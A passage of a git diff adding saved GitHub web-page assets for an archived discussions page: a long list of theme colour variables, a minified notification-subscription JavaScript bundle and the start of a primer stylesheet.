rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-deletion-border: rgba(27,31,36,0.15);--color-diffstat-addition-border: rgba(27,31,36,0.15);--color-diffstat-addition-bg: #2da44e;--color-search-keyword-hl: #fff8c5;--color-prettylights-syntax-comment: #6e7781;--color-prettylights-syntax-constant: #0550ae;--color-prettylights-syntax-entity: #8250df;--color-prettylights-syntax-storage-modifier-import: #24292f;--color-prettylights-syntax-entity-tag: #116329;--color-prettylights-syntax-keyword: #cf222e;--color-prettylights-syntax-string: #0a3069;--color-prettylights-syntax-variable: #953800;--color-prettylights-syntax-brackethighlighter-unmatched: #82071e;--color-prettylights-syntax-invalid-illegal-text: #f6f8fa;--color-prettylights-syntax-invalid-illegal-bg: #82071e;--color-prettylights-syntax-carriage-return-text: #f6f8fa;--color-prettylights-syntax-carriage-return-bg: #cf222e;--color-prettylights-syntax-string-regexp: #116329;--color-prettylights-syntax-markup-list: #3b2300;--color-prettylights-syntax-markup-heading: #0550ae;--color-prettylights-syntax-markup-italic: #24292f;--color-prettylights-syntax-markup-bold: #24292f;--color-prettylights-syntax-markup-deleted-text: #82071e;--color-prettylights-syntax-markup-deleted-bg: #FFEBE9;--color-prettylights-syntax-markup-inserted-text: #116329;--color-prettylights-syntax-markup-inserted-bg: #dafbe1;--color-prettylights-syntax-markup-changed-text: #953800;--color-prettylights-syntax-markup-changed-bg: #ffd8b5;--color-prettylights-syntax-markup-ignored-text: #eaeef2;--color-prettylights-syntax-markup-ignored-bg: #0550ae;--color-prettylights-syntax-meta-diff-range: #8250df;--color-prettylights-syntax-brackethighlighter-angle: #57606a;--color-prettylights-syntax-sublimelinter-gutter-mark: #8c959f;--color-prettylights-syntax-constant-other-reference-link: #0a3069;--color-codemirror-text: #24292f;--color-codemirror-bg: #ffffff;--color-codemirror-gutters-bg: #ffffff;--color-codemirror-guttermarker-text: #ffffff;--color-codemirror-guttermarker-subtle-text: #6e7781;--color-codemirror-linenumber-text: #57606a;--color-codemirror-cursor: #24292f;--color-codemirror-selection-bg: rgba(84,174,255,0.4);--color-codemirror-activeline-bg: rgba(234,238,242,0.5);--color-codemirror-matchingbracket-text: #24292f;--color-codemirror-lines-bg: #ffffff;--color-codemirror-syntax-comment: #24292f;--color-codemirror-syntax-constant: #0550ae;--color-codemirror-syntax-entity: #8250df;--color-codemirror-syntax-keyword: #cf222e;--color-codemirror-syntax-storage: #cf222e;--color-codemirror-syntax-string: #0a3069;--color-codemirror-syntax-support: #0550ae;--color-codemirror-syntax-variable: #953800;--color-checks-bg: #24292f;--color-checks-run-border-width: 0px;--color-checks-container-border-width: 0px;--color-checks-text-primary: #f6f8fa;--color-checks-text-secondary: #8c959f;--color-checks-text-link: #54aeff;--color-checks-btn-icon: #afb8c1;--color-checks-btn-hover-icon: #f6f8fa;--color-checks-btn-hover-bg: rgba(255,255,255,0.125);--color-checks-input-text: #eaeef2;--color-checks-input-placeholder-text: #8c959f;--color-checks-input-focus-text: #8c959f;--color-checks-input-bg: #32383f;--color-checks-input-shadow: none;--color-checks-donut-error: #fa4549;--color-checks-donut-pending: #bf8700;--color-checks-donut-success: #2da44e;--color-checks-donut-neutral: #afb8c1;--color-checks-dropdown-text: #afb8c1;--color-checks-dropdown-bg: #32383f;--color-checks-dropdown-border: #424a53;--color-checks-dropdown-shadow: rgba(27,31,36,0.3);--color-checks-dropdown-hover-text: #f6f8fa;--color-checks-dropdown-hover-bg: #424a53;--color-checks-dropdown-btn-hover-text: #f6f8fa;--color-checks-dropdown-btn-hover-bg: #32383f;--color-checks-scrollbar-thumb-bg: #57606a;--color-checks-header-label-text: #d0d7de;--color-checks-header-label-open-text: #f6f8fa;--color-checks-header-border: #32383f;--color-checks-header-icon: #8c959f;--color-checks-line-text: #d0d7de;--color-checks-line-num-text: rgba(140,149,159,0.75);--color-checks-line-timestamp-text: #8c959f;--color-checks-line-hover-bg: #32383f;--color-checks-line-selected-bg: rgba(33,139,255,0.15);--color-checks-line-selected-num-text: #54aeff;--color-checks-line-dt-fm-text: #24292f;--color-checks-line-dt-fm-bg: #9a6700;--color-checks-gate-bg: rgba(125,78,0,0.15);--color-checks-gate-text: #d0d7de;--color-checks-gate-waiting-text: #d4a72c;--color-checks-step-header-open-bg: #32383f;--color-checks-step-error-text: #ff8182;--color-checks-step-warning-text: #d4a72c;--color-checks-logline-text: #8c959f;--color-checks-logline-num-text: rgba(140,149,159,0.75);--color-checks-logline-debug-text: #c297ff;--color-checks-logline-error-text: #d0d7de;--color-checks-logline-error-num-text: #ff8182;--color-checks-logline-error-bg: rgba(164,14,38,0.15);--color-checks-logline-warning-text: #d0d7de;--color-checks-logline-warning-num-text: #d4a72c;--color-checks-logline-warning-bg: rgba(125,78,0,0.15);--color-checks-logline-command-text: #54aeff;--color-checks-logline-section-text: #4ac26b;--color-checks-ansi-black: #24292f;--color-checks-ansi-black-bright: #32383f;--color-checks-ansi-white: #d0d7de;--color-checks-ansi-white-bright: #d0d7de;--color-checks-ansi-gray: #8c959f;--color-checks-ansi-red: #ff8182;--color-checks-ansi-red-bright: #ffaba8;--color-checks-ansi-green: #4ac26b;--color-checks-ansi-green-bright: #6fdd8b;--color-checks-ansi-yellow: #d4a72c;--color-checks-ansi-yellow-bright: #eac54f;--color-checks-ansi-blue: #54aeff;--color-checks-ansi-blue-bright: #80ccff;--color-checks-ansi-magenta: #c297ff;--color-checks-ansi-magenta-bright: #d8b9ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #24292f;--color-project-sidebar-bg: #ffffff;--color-project-gradient-in: #ffffff;--color-project-gradient-out: rgba(255,255,255,0);--color-mktg-btn-bg: #1b1f23;--color-mktg-btn-shadow-outline: rgb(0 0 0 / 15%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(0 0 0 / 15%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 3px 2px rgba(0, 0, 0, 0.07), 0 7px 5px rgba(0, 0, 0, 0.04), 0 12px 10px rgba(0, 0, 0, 0.03), 0 22px 18px rgba(0, 0, 0, 0.03), 0 42px 33px rgba(0, 0, 0, 0.02), 0 100px 80px rgba(0, 0, 0, 0.02);--color-mktg-btn-shadow-hover-muted: rgb(0 0 0 / 70%) 0 0 0 2px inset;--color-avatar-bg: #ffffff;--color-avatar-border: rgba(27,31,36,0.15);--color-avatar-stack-fade: #afb8c1;--color-avatar-stack-fade-more: #d0d7de;--color-avatar-child-shadow: -2px -2px 0 rgba(255,255,255,0.8);--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: rgba(0,0,0,0);--color-select-menu-tap-highlight: rgba(175,184,193,0.5);--color-select-menu-tap-focus-bg: #b6e3ff;--color-overlay-shadow: 0 1px 3px rgba(27,31,36,0.12), 0 8px 24px rgba(66,74,83,0.12);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #24292f;--color-header-divider: #57606a;--color-header-logo: #ffffff;--color-header-search-bg: #24292f;--color-header-search-border: #57606a;--color-sidenav-selected-bg: #ffffff;--color-menu-bg-active: rgba(0,0,0,0);--color-input-disabled-bg: rgba(175,184,193,0.2);--color-timeline-badge-bg: #eaeef2;--color-ansi-black: #24292f;--color-ansi-black-bright: #57606a;--color-ansi-white: #6e7781;--color-ansi-white-bright: #8c959f;--color-ansi-gray: #6e7781;--color-ansi-red: #cf222e;--color-ansi-red-bright: #a40e26;--color-ansi-green: #116329;--color-ansi-green-bright: #1a7f37;--color-ansi-yellow: #4d2d00;--color-ansi-yellow-bright: #633c01;--color-ansi-blue: #0969da;--color-ansi-blue-bright: #218bff;--color-ansi-magenta: #8250df;--color-ansi-magenta-bright: #a475f9;--color-ansi-cyan: #1b7c83;--color-ansi-cyan-bright: #3192aa;--color-btn-text: #24292f;--color-btn-bg: #f6f8fa;--color-btn-border: rgba(27,31,36,0.15);--color-btn-shadow: 0 1px 0 rgba(27,31,36,0.04);--color-btn-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.25);--color-btn-hover-bg: #f3f4f6;--color-btn-hover-border: rgba(27,31,36,0.15);--color-btn-active-bg: hsla(220,14%,93%,1);--color-btn-active-border: rgba(27,31,36,0.15);--color-btn-selected-bg: hsla(220,14%,94%,1);--color-btn-focus-bg: #f6f8fa;--color-btn-focus-border: rgba(27,31,36,0.15);--color-btn-focus-shadow: 0 0 0 3px rgba(9,105,218,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(27,31,36,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(9,105,218,0.3);--color-btn-counter-bg: rgba(27,31,36,0.08);--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #2da44e;--color-btn-primary-border: rgba(27,31,36,0.15);--color-btn-primary-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-primary-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-primary-hover-bg: #2c974b;--color-btn-primary-hover-border: rgba(27,31,36,0.15);--color-btn-primary-selected-bg: hsla(137,55%,36%,1);--color-btn-primary-selected-shadow: inset 0 1px 0 rgba(0,45,17,0.2);--color-btn-primary-disabled-text: rgba(255,255,255,0.8);--color-btn-primary-disabled-bg: #94d3a2;--color-btn-primary-disabled-border: rgba(27,31,36,0.15);--color-btn-primary-focus-bg: #2da44e;--color-btn-primary-focus-border: rgba(27,31,36,0.15);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(45,164,78,0.4);--color-btn-primary-icon: rgba(255,255,255,0.8);--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #0969da;--color-btn-outline-hover-text: #ffffff;--color-btn-outline-hover-bg: #0969da;--color-btn-outline-hover-border: rgba(27,31,36,0.15);--color-btn-outline-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: hsla(212,92%,42%,1);--color-btn-outline-selected-border: rgba(27,31,36,0.15);--color-btn-outline-selected-shadow: inset 0 1px 0 rgba(0,33,85,0.2);--color-btn-outline-disabled-text: rgba(9,105,218,0.5);--color-btn-outline-disabled-bg: #f6f8fa;--color-btn-outline-disabled-counter-bg: rgba(9,105,218,0.05);--color-btn-outline-focus-border: rgba(27,31,36,0.15);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(5,80,174,0.4);--color-btn-outline-counter-bg: rgba(9,105,218,0.1);--color-btn-danger-text: #cf222e;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #a40e26;--color-btn-danger-hover-border: rgba(27,31,36,0.15);--color-btn-danger-hover-shadow: 0 1px 0 rgba(27,31,36,0.1);--color-btn-danger-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: hsla(356,72%,44%,1);--color-btn-danger-selected-border: rgba(27,31,36,0.15);--color-btn-danger-selected-shadow: inset 0 1px 0 rgba(76,0,20,0.2);--color-btn-danger-disabled-text: rgba(207,34,46,0.5);--color-btn-danger-disabled-bg: #f6f8fa;--color-btn-danger-disabled-counter-bg: rgba(207,34,46,0.05);--color-btn-danger-focus-border: rgba(27,31,36,0.15);--color-btn-danger-focus-shadow: 0 0 0 3px rgba(164,14,38,0.4);--color-btn-danger-counter-bg: rgba(207,34,46,0.1);--color-btn-danger-icon: #cf222e;--color-btn-danger-hover-icon: #ffffff;--color-underlinenav-icon: #6e7781;--color-underlinenav-border-hover: rgba(175,184,193,0.2);--color-action-list-item-inline-divider: rgba(208,215,222,0.48);--color-action-list-item-default-hover-bg: rgba(208,215,222,0.32);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(208,215,222,0.48);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(208,215,222,0.24);--color-action-list-item-danger-hover-bg: rgba(255,235,233,0.64);--color-action-list-item-danger-active-bg: #FFEBE9;--color-action-list-item-danger-hover-text: #cf222e;--color-switch-track-bg: #eaeef2;--color-switch-track-border: #afb8c1;--color-switch-track-checked-bg: #ddf4ff;--color-switch-track-checked-hover-bg: #b6e3ff;--color-switch-track-checked-active-bg: #80ccff;--color-switch-track-checked-border: #54aeff;--color-switch-knob-checked-bg: #0969da;--color-switch-knob-checked-disabled-bg: #6e7781;--color-fg-default: #24292f;--color-fg-muted: #57606a;--color-fg-subtle: #6e7781;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #ffffff;--color-canvas-overlay: #ffffff;--color-canvas-inset: #f6f8fa;--color-canvas-subtle: #f6f8fa;--color-border-default: #d0d7de;--color-border-muted: hsla(210,18%,87%,1);--color-border-subtle: rgba(27,31,36,0.15);--color-shadow-small: 0 1px 0 rgba(27,31,36,0.04);--color-shadow-medium: 0 3px 6px rgba(140,149,159,0.15);--color-shadow-large: 0 8px 24px rgba(140,149,159,0.2);--color-shadow-extra-large: 0 12px 28px rgba(140,149,159,0.3);--color-neutral-emphasis-plus: #24292f;--color-neutral-emphasis: #6e7781;--color-neutral-muted: rgba(175,184,193,0.2);--color-neutral-subtle: rgba(234,238,242,0.5);--color-accent-fg: #0969da;--color-accent-emphasis: #0969da;--color-accent-muted: rgba(84,174,255,0.4);--color-accent-subtle: #ddf4ff;--color-success-fg: #1a7f37;--color-success-emphasis: #2da44e;--color-success-muted: rgba(74,194,107,0.4);--color-success-subtle: #dafbe1;--color-attention-fg: #9a6700;--color-attention-emphasis: #bf8700;--color-attention-muted: rgba(212,167,44,0.4);--color-attention-subtle: #fff8c5;--color-severe-fg: #bc4c00;--color-severe-emphasis: #bc4c00;--color-severe-muted: rgba(251,143,68,0.4);--color-severe-subtle: #fff1e5;--color-danger-fg: #cf222e;--color-danger-emphasis: #cf222e;--color-danger-muted: rgba(255,129,130,0.4);--color-danger-subtle: #FFEBE9;--color-open-fg: #1a7f37;--color-open-emphasis: #2da44e;--color-open-muted: rgba(74,194,107,0.4);--color-open-subtle: #dafbe1;--color-closed-fg: #cf222e;--color-closed-emphasis: #cf222e;--color-closed-muted: rgba(255,129,130,0.4);--color-closed-subtle: #FFEBE9;--color-done-fg: #8250df;--color-done-emphasis: #8250df;--color-done-muted: rgba(194,151,255,0.4);--color-done-subtle: #fbefff;--color-sponsors-fg: #bf3989;--color-sponsors-emphasis: #bf3989;--color-sponsors-muted: rgba(255,128,200,0.4);--color-sponsors-subtle: #ffeff7;--color-primer-fg-disabled: #8c959f;--color-primer-canvas-backdrop: rgba(27,31,36,0.5);--color-primer-canvas-sticky: rgba(255,255,255,0.95);--color-primer-border-active: #FD8C73;--color-primer-border-contrast: rgba(27,31,36,0.1);--color-primer-shadow-highlight: inset 0 1px 0 rgba(255,255,255,0.25);--color-primer-shadow-inset: inset 0 1px 0 rgba(208,215,222,0.2);--color-primer-shadow-focus: 0 0 0 3px rgba(9,105,218,0.3);--color-scale-black: #1b1f24;--color-scale-white: #ffffff;--color-scale-gray-0: #f6f8fa;--color-scale-gray-1: #eaeef2;--color-scale-gray-2: #d0d7de;--color-scale-gray-3: #afb8c1;--color-scale-gray-4: #8c959f;--color-scale-gray-5: #6e7781;--color-scale-gray-6: #57606a;--color-scale-gray-7: #424a53;--color-scale-gray-8: #32383f;--color-scale-gray-9: #24292f;--color-scale-blue-0: #ddf4ff;--color-scale-blue-1: #b6e3ff;--color-scale-blue-2: #80ccff;--color-scale-blue-3: #54aeff;--color-scale-blue-4: #218bff;--color-scale-blue-5: #0969da;--color-scale-blue-6: #0550ae;--color-scale-blue-7: #033d8b;--color-scale-blue-8: #0a3069;--color-scale-blue-9: #002155;--color-scale-green-0: #dafbe1;--color-scale-green-1: #aceebb;--color-scale-green-2: #6fdd8b;--color-scale-green-3: #4ac26b;--color-scale-green-4: #2da44e;--color-scale-green-5: #1a7f37;--color-scale-green-6: #116329;--color-scale-green-7: #044f1e;--color-scale-green-8: #003d16;--color-scale-green-9: #002d11;--color-scale-yellow-0: #fff8c5;--color-scale-yellow-1: #fae17d;--color-scale-yellow-2: #eac54f;--color-scale-yellow-3: #d4a72c;--color-scale-yellow-4: #bf8700;--color-scale-yellow-5: #9a6700;--color-scale-yellow-6: #7d4e00;--color-scale-yellow-7: #633c01;--color-scale-yellow-8: #4d2d00;--color-scale-yellow-9: #3b2300;--color-scale-orange-0: #fff1e5;--color-scale-orange-1: #ffd8b5;--color-scale-orange-2: #ffb77c;--color-scale-orange-3: #fb8f44;--color-scale-orange-4: #e16f24;--color-scale-orange-5: #bc4c00;--color-scale-orange-6: #953800;--color-scale-orange-7: #762c00;--color-scale-orange-8: #5c2200;--color-scale-orange-9: #471700;--color-scale-red-0: #FFEBE9;--color-scale-red-1: #ffcecb;--color-scale-red-2: #ffaba8;--color-scale-red-3: #ff8182;--color-scale-red-4: #fa4549;--color-scale-red-5: #cf222e;--color-scale-red-6: #a40e26;--color-scale-red-7: #82071e;--color-scale-red-8: #660018;--color-scale-red-9: #4c0014;--color-scale-purple-0: #fbefff;--color-scale-purple-1: #ecd8ff;--color-scale-purple-2: #d8b9ff;--color-scale-purple-3: #c297ff;--color-scale-purple-4: #a475f9;--color-scale-purple-5: #8250df;--color-scale-purple-6: #6639ba;--color-scale-purple-7: #512a97;--color-scale-purple-8: #3e1f79;--color-scale-purple-9: #2e1461;--color-scale-pink-0: #ffeff7;--color-scale-pink-1: #ffd3eb;--color-scale-pink-2: #ffadda;--color-scale-pink-3: #ff80c8;--color-scale-pink-4: #e85aad;--color-scale-pink-5: #bf3989;--color-scale-pink-6: #99286e;--color-scale-pink-7: #772057;--color-scale-pink-8: #611347;--color-scale-pink-9: #4d0336;--color-scale-coral-0: #FFF0EB;--color-scale-coral-1: #FFD6CC;--color-scale-coral-2: #FFB4A1;--color-scale-coral-3: #FD8C73;--color-scale-coral-4: #EC6547;--color-scale-coral-5: #C4432B;--color-scale-coral-6: #9E2F1C;--color-scale-coral-7: #801F0F;--color-scale-coral-8: #691105;--color-scale-coral-9: #510901}} + +/*# sourceMappingURL=light-4a4c63a331c1.css.map*/ \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js new file mode 100644 index 0000000..4d11df4 --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/notifications-global-a5a0da1c07bc.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var x=Object.defineProperty;var u=(_,L)=>x(_,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["notifications-global"],{7679:(_,L,g)=>{g.d(L,{H:()=>f,v:()=>y});var s=g(59753);function y(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!1)}u(y,"showGlobalError");function f(){const l=document.getElementById("ajax-error-message");l&&(l.hidden=!0)}u(f,"hideGlobalError"),(0,s.on)("deprecatedAjaxError","[data-remote]",function(l){const b=l.detail,{error:A,text:D}=b;l.currentTarget===l.target&&(A==="abort"||A==="canceled"||(/{g.d(L,{Bt:()=>b,DN:()=>w,KL:()=>p,Se:()=>D,qC:()=>k,sw:()=>I});var s=g(59753),y=g(2061),f=g(7679);(0,s.on)("click",".js-remote-submit-button",async function(a){const h=a.currentTarget.form;a.preventDefault();let v;try{v=await fetch(h.action,{method:h.method,body:new FormData(h),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}v&&!v.ok&&(0,f.v)()});function l(a,n,h){return a.dispatchEvent(new CustomEvent(n,{bubbles:!0,cancelable:h}))}u(l,"fire");function b(a,n){n&&(A(a,n),(0,y.j)(n)),l(a,"submit",!0)&&a.submit()}u(b,"requestSubmit");function A(a,n){if(!(a instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(n instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(n.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!a||a!==n.form)throw new Error("The specified element is not owned by the form element.")}u(A,"checkButtonValidity");function D(a,n){if(typeof n=="boolean")if(a instanceof HTMLInputElement)a.checked=n;else throw new TypeError("only checkboxes can be set to boolean value");else{if(a.type==="checkbox")throw new TypeError("checkbox can't be set to string value");a.value=n}l(a,"change",!1)}u(D,"changeValue");function w(a,n){for(const h in n){const v=n[h],C=a.elements.namedItem(h);(C instanceof HTMLInputElement||C instanceof HTMLTextAreaElement)&&(C.value=v)}}u(w,"fillFormValues");function I(a){if(!(a instanceof HTMLElement))return!1;const n=a.nodeName.toLowerCase(),h=(a.getAttribute("type")||"").toLowerCase();return n==="select"||n==="textarea"||n==="input"&&h!=="submit"&&h!=="reset"||a.isContentEditable}u(I,"isFormField");function c(a){return new URLSearchParams(a)}u(c,"searchParamsFromFormData");function p(a,n){const h=new URLSearchParams(a.search),v=c(n);for(const[C,T]of v)h.append(C,T);return h.toString()}u(p,"combineGetFormSearchParams");function k(a){return c(new FormData(a)).toString()}u(k,"serialize")},2061:(_,L,g)=>{g.d(L,{j:()=>s,u:()=>y});function s(f){const l=f.closest("form");if(!(l instanceof HTMLFormElement))return;let b=y(l);if(f.name){const A=f.matches("input[type=submit]")?"Submit":"",D=f.value||A;b||(b=document.createElement("input"),b.type="hidden",b.classList.add("is-submit-button-value"),l.prepend(b)),b.name=f.name,b.value=D}else b&&b.remove()}u(s,"persistSubmitButtonValue");function y(f){const l=f.querySelector("input.is-submit-button-value");return l instanceof HTMLInputElement?l:null}u(y,"findPersistedSubmitButtonValue")},55089:(_,L,g)=>{var s=g(90420),y=Object.defineProperty,f=Object.getOwnPropertyDescriptor,l=u((e,t,r,i)=>{for(var o=i>1?void 0:i?f(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&y(t,r,o),o},"__decorateClass");let b=u(class extends HTMLElement{constructor(){super();this.addEventListener("socket:message",this.update.bind(this))}update(e){const t=e.detail.data;!this.link||!this.modifier||(this.link.setAttribute("aria-label",t.aria_label),this.link.setAttribute("data-ga-click",t.ga_click),this.modifier.setAttribute("class",t.span_class))}},"NotificationIndicatorElement");l([s.fA],b.prototype,"link",2),l([s.fA],b.prototype,"modifier",2),b=l([s.Ih],b);var A=g(7679),D=g(56238),w=Object.defineProperty,I=Object.getOwnPropertyDescriptor,c=u((e,t,r,i)=>{for(var o=i>1?void 0:i?I(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&w(t,r,o),o},"notifications_list_subscription_form_element_decorateClass");let p=u(class extends HTMLElement{constructor(){super(...arguments);this.lastAppliedLabels={}}connectedCallback(){const e=this.querySelector(".js-label-subscriptions-load");e==null||e.addEventListener("loadend",()=>{this.subscriptionsLabels.length>0&&(this.updateCheckedState("custom"),this.updateMenuButtonCopy("custom"))})}async submitCustomForm(e){await this.submitForm(e),this.closeMenu()}async submitForm(e){e.preventDefault(),(0,A.H)();const t=e.currentTarget,r=new FormData(t),i=await self.fetch(t.action,{method:t.method,body:r,headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!i.ok){(0,A.v)();return}const o=await i.json(),d=r.get("do");typeof d=="string"&&this.updateCheckedState(d),typeof d=="string"&&this.updateMenuButtonCopy(d),this.updateSocialCount(o.count),this.applyInputsCheckedPropertiesToAttributesForNextFormReset()}updateMenuButtonCopy(e){this.unwatchButtonCopy.hidden=!(e==="subscribed"||e==="custom"),this.stopIgnoringButtonCopy.hidden=e!=="ignore",this.watchButtonCopy.hidden=!(e!=="subscribed"&&e!=="custom"&&e!=="ignore")}applyInputsCheckedPropertiesToAttributesForNextFormReset(){for(const e of[...this.threadTypeCheckboxes])e.toggleAttribute("checked",e.checked)}updateCheckedState(e){for(const t of this.subscriptionButtons)t.setAttribute("aria-checked",t.value===e?"true":"false");if(e==="custom")this.customButton.setAttribute("aria-checked","true");else{this.customButton.setAttribute("aria-checked","false");for(const t of[...this.threadTypeCheckboxes])(0,D.Se)(t,!1);if(this.subscriptionsContainer!==void 0){for(let t=0;t{var t;(t=this.customDialog.querySelector("input[type=checkbox][autofocus]"))==null||t.focus()},0)}enableApplyButtonAndCheckbox(){this.customDialog.querySelectorAll('[data-type="label"]:not([hidden])').length>0&&(this.customSubmit.removeAttribute("disabled"),this.threadTypeCheckboxes[0].checked=!0)}closeCustomDialog(e){e.preventDefault(),e.stopPropagation(),this.menu.toggleAttribute("hidden",!1),this.customDialog.toggleAttribute("hidden",!0),setTimeout(()=>{this.customButton.focus()},0)}resetFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation();for(let t=0;t{var t;(t=this.filterLabelsDialog.querySelector("input[type=checkbox][autofocus]"))==null||t.focus()},0)}closeFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation(),this.menu.toggleAttribute("hidden",!0),this.customDialog.toggleAttribute("hidden",!1),this.filterLabelsDialog.toggleAttribute("hidden",!0)}applyFilterLabelsDialog(e){e.preventDefault(),e.stopPropagation(),this.saveCurrentLabelsState(),this.hideFilterSubtitle(),this.enableIssuesCheckbox(),this.closeFilterLabelsDialog(e)}enableIssuesCheckbox(){const e=Object.keys(this.lastAppliedLabels).length>0;e&&this.threadTypeCheckboxes.length>0&&(this.threadTypeCheckboxes[0].checked=e),this.threadTypeCheckboxesUpdated()}hideFilterSubtitle(){const e=Object.keys(this.lastAppliedLabels).length>0;this.subscriptionsSubtitle.toggleAttribute("hidden",e)}saveCurrentLabelsState(){this.lastAppliedLabels={},this.labelInputs.innerHTML="";for(let e=0;et.checked);this.customSubmit.disabled=e}closeMenu(){this.details.toggleAttribute("open",!1)}},"NotificationsListSubscriptionFormElement");c([s.fA],p.prototype,"details",2),c([s.fA],p.prototype,"menu",2),c([s.fA],p.prototype,"customButton",2),c([s.fA],p.prototype,"customDialog",2),c([s.fA],p.prototype,"filterLabelsDialog",2),c([s.GO],p.prototype,"subscriptionButtons",2),c([s.GO],p.prototype,"subscriptionsLabels",2),c([s.fA],p.prototype,"labelInputs",2),c([s.fA],p.prototype,"subscriptionsSubtitle",2),c([s.fA],p.prototype,"socialCount",2),c([s.fA],p.prototype,"unwatchButtonCopy",2),c([s.fA],p.prototype,"stopIgnoringButtonCopy",2),c([s.fA],p.prototype,"watchButtonCopy",2),c([s.GO],p.prototype,"threadTypeCheckboxes",2),c([s.fA],p.prototype,"customSubmit",2),c([s.fA],p.prototype,"subscriptionsContainer",2),c([s.GO],p.prototype,"dialogLabelItems",2),p=c([s.Ih],p);var k=Object.defineProperty,a=Object.getOwnPropertyDescriptor,n=u((e,t,r,i)=>{for(var o=i>1?void 0:i?a(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&k(t,r,o),o},"notifications_team_subscription_form_element_decorateClass");let h=u(class extends HTMLElement{closeMenu(){this.details.toggleAttribute("open",!1)}},"NotificationsTeamSubscriptionFormElement");n([s.fA],h.prototype,"details",2),h=n([s.Ih],h);var v=Object.defineProperty,C=Object.getOwnPropertyDescriptor,T=u((e,t,r,i)=>{for(var o=i>1?void 0:i?C(t,r):t,d=e.length-1,m;d>=0;d--)(m=e[d])&&(o=(i?m(t,r,o):m(o))||o);return i&&o&&v(t,r,o),o},"notifications_subscriptions_dialog_label_item_decorateClass");let E=u(class extends HTMLElement{toggleDropdownLabel(e){if(e.preventDefault(),e.stopPropagation(),this.label){const t=this.label.getAttribute("aria-checked")==="true";this.setCheckedForDropdownLabel(!t),this.dispatchEvent(new CustomEvent("notifications-dialog-label-toggled",{detail:{wasChecked:t,toggledLabelId:this.labelId,templateLabelElementClone:this.hiddenLabelTemplate.cloneNode(!0)},bubbles:!0}))}}setCheckedForDropdownLabel(e){this.label.setAttribute("aria-checked",e.toString())}},"NotificationsDialogLabelItemElement");T([s.fA],E.prototype,"label",2),T([s.fA],E.prototype,"hiddenLabelTemplate",2),T([s.fA],E.prototype,"hiddenCheckboxInput",2),T([s.Lj],E.prototype,"labelId",2),E=T([s.Ih],E)}},_=>{var L=u(s=>_(_.s=s),"__webpack_exec__");_.O(0,["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51"],()=>L(55089));var g=_.O()}]);})(); + +//# sourceMappingURL=notifications-global-efb6b04b1517.js.map \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css new file mode 100644 index 0000000..81c8b42 --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/primer-10084108b209.css @@ -0,0 +1,13 @@ +:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{color-scheme:light}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{color-scheme:light}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{color-scheme:light}}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{color-scheme:dark}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{color-scheme:dark}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{color-scheme:dark}}[data-color-mode]{color:var(--color-fg-default);background-color:var(--color-canvas-default)}@media(forced-colors: 